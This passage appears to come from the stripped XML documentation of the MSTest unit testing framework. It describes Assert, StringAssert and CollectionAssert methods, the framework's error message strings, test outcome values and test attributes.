tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Throws an AssertFailedException. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Static equals overloads are used for comparing instances of two types for reference - equality. This method should not be used for comparison of two instances for - equality. This object will always throw with Assert.Fail. Please use - Assert.AreEqual and associated overloads in your unit tests. - - Object A - Object B - False, always. - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Replaces null characters ('\0') with "\\0". - - - The string to search. - - - The converted string with null characters replaced by "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Helper function that creates and throws an AssertionFailedException - - - name of the assertion throwing an exception - - - message describing conditions for assertion failure - - - The parameters. - - - - - Checks the parameter for valid conditions - - - The parameter. - - - The assertion Name. - - - parameter name - - - message for the invalid parameter exception - - - The parameters. - - - - - Safely converts an object to a string, handling null values and null characters. - Null values are converted to "(null)". Null characters are converted to "\\0". - - - The object to convert to a string. - - - The converted string. - - - - - The string assert. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert customAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not end with - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if does not match - . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if matches . - - - - - A collection of helper classes to test various conditions associated - with collections within unit tests. If the condition being tested is not - met, an exception is thrown. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert customAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if is found in - . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if every element in is also found in - . - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Determines whether the first collection is a subset of the second - collection. If either set contains duplicate elements, the number - of occurrences of the element in the subset must be less than or - equal to the number of occurrences in the superset. - - - The collection the test expects to be contained in . - - - The collection the test expects to contain . - - - True if is a subset of - , false otherwise. - - - - - Constructs a dictionary containing the number of occurrences of each - element in the specified collection. - - - The collection to process. - - - The number of null elements in the collection. - - - A dictionary containing the number of occurrences of each element - in the specified collection. - - - - - Finds a mismatched element between the two collections. A mismatched - element is one that appears a different number of times in the - expected collection than it does in the actual collection. The - collections are assumed to be different non-null references with the - same number of elements. The caller is responsible for this level of - verification. If there is no mismatched element, the function returns - false and the out parameters should not be used. - - - The first collection to compare. - - - The second collection to compare. - - - The expected number of occurrences of - or 0 if there is no mismatched - element. - - - The actual number of occurrences of - or 0 if there is no mismatched - element. - - - The mismatched element (may be null) or null if there is no - mismatched element. - - - true if a mismatched element was found; false otherwise. - - - - - compares the objects using object.Equals - - - - - Base class for Framework Exceptions. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - A strongly-typed resource class, for looking up localized strings, etc. - - - - - Returns the cached ResourceManager instance used by this class. - - - - - Overrides the current thread's CurrentUICulture property for all - resource lookups using this strongly typed resource class. - - - - - Looks up a localized string similar to Access string has invalid syntax.. - - - - - Looks up a localized string similar to The expected collection contains {1} occurrence(s) of <{2}>. The actual collection contains {3} occurrence(s). {0}. - - - - - Looks up a localized string similar to Duplicate item found:<{1}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Case is different for actual value:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference no greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1} ({2})>. Actual:<{3} ({4})>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected any value except:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Do not pass value types to AreSame(). Values converted to Object will never be the same. Consider using AreEqual(). {0}. - - - - - Looks up a localized string similar to {0} failed. {1}. - - - - - Looks up a localized string similar to async TestMethod with UITestMethodAttribute are not supported. Either remove async or use TestMethodAttribute.. - - - - - Looks up a localized string similar to Both collections are empty. {0}. - - - - - Looks up a localized string similar to Both collection contain same elements.. - - - - - Looks up a localized string similar to Both collection references point to the same collection object. {0}. - - - - - Looks up a localized string similar to Both collections contain the same elements. {0}. - - - - - Looks up a localized string similar to {0}({1}). - - - - - Looks up a localized string similar to (null). - - - - - Looks up a localized string similar to (object). - - - - - Looks up a localized string similar to String '{0}' does not contain string '{1}'. {2}.. - - - - - Looks up a localized string similar to {0} ({1}). - - - - - Looks up a localized string similar to Assert.Equals should not be used for Assertions. Please use Assert.AreEqual & overloads instead.. - - - - - Looks up a localized string similar to Method {0} must match the expected signature: public static {1} {0}({2}).. - - - - - Looks up a localized string similar to Property or method {0} on {1} returns empty IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Property or method {0} on {1} does not return IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Value returned by property or method {0} shouldn't be null.. - - - - - Looks up a localized string similar to The number of elements in the collections do not match. Expected:<{1}>. Actual:<{2}>.{0}. - - - - - Looks up a localized string similar to Element at index {0} do not match.. - - - - - Looks up a localized string similar to Element at index {1} is not of expected type. Expected type:<{2}>. Actual type:<{3}>.{0}. - - - - - Looks up a localized string similar to Element at index {1} is (null). Expected type:<{2}>.{0}. - - - - - Looks up a localized string similar to String '{0}' does not end with string '{1}'. {2}.. - - - - - Looks up a localized string similar to Invalid argument- EqualsTester can't use nulls.. - - - - - Looks up a localized string similar to Cannot convert object of type {0} to {1}.. - - - - - Looks up a localized string similar to The internal object referenced is no longer valid.. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. {1}.. - - - - - Looks up a localized string similar to The property {0} has type {1}; expected type {2}.. - - - - - Looks up a localized string similar to {0} Expected type:<{1}>. Actual type:<{2}>.. - - - - - Looks up a localized string similar to String '{0}' does not match pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to Wrong Type:<{1}>. Actual type:<{2}>. {0}. - - - - - Looks up a localized string similar to String '{0}' matches pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to No test data source specified. Atleast one TestDataSource is required with DataTestMethodAttribute.. - - - - - Looks up a localized string similar to No exception thrown. {1} exception was expected. {0}. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. The value cannot be null. {1}.. - - - - - Looks up a localized string similar to Different number of elements.. - - - - - Looks up a localized string similar to - The constructor with the specified signature could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to - The member specified ({0}) could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to String '{0}' does not start with string '{1}'. {2}.. - - - - - Looks up a localized string similar to The expected exception type must be System.Exception or a type derived from System.Exception.. - - - - - Looks up a localized string similar to (Failed to get the message for an exception of type {0} due to an exception.). - - - - - Looks up a localized string similar to Test method did not throw expected exception {0}. {1}. - - - - - Looks up a localized string similar to Test method did not throw an exception. An exception was expected by attribute {0} defined on the test method.. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} or a type derived from it was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Threw exception {2}, but exception {1} was expected. {0} - Exception Message: {3} - Stack Trace: {4}. - - - - - unit test outcomes - - - - - Test was executed, but there were issues. - Issues may involve exceptions or failed assertions. - - - - - Test has completed, but we can't say if it passed or failed. - May be used for aborted tests. - - - - - Test was executed without any issues. - - - - - Test is currently executing. - - - - - There was a system error while we were trying to execute a test. - - - - - The test timed out. - - - - - Test was aborted by the user. - - - - - Test is in an unknown state - - - - - Test cannot be executed. - - - - - Provides helper functionality for the unit test framework - - - - - Gets the exception messages, including the messages for all inner exceptions - recursively - - Exception to get messages for - string with error message information - - - - Enumeration for timeouts, that can be used with the class. - The type of the enumeration must match - - - - - The infinite. - - - - - Enumeration for inheritance behavior, that can be used with both the class - and class. - Defines the behavior of the ClassInitialize and ClassCleanup methods of base classes. - The type of the enumeration must match - - - - - None. - - - - - Before each derived class. - - - - - The test class attribute. - - - - - Gets a test method attribute that enables running this test. - - The test method attribute instance defined on this method. - The to be used to run this test. - Extensions can override this method to customize how all methods in a class are run. - - - - The test method attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets display Name for the Test Window - - - - - Executes a test method. - - The test method to execute. - An array of TestResult objects that represent the outcome(s) of the test. - Extensions can override this method to customize running a TestMethod. - - - - Attribute for data driven test where data can be specified in-line. 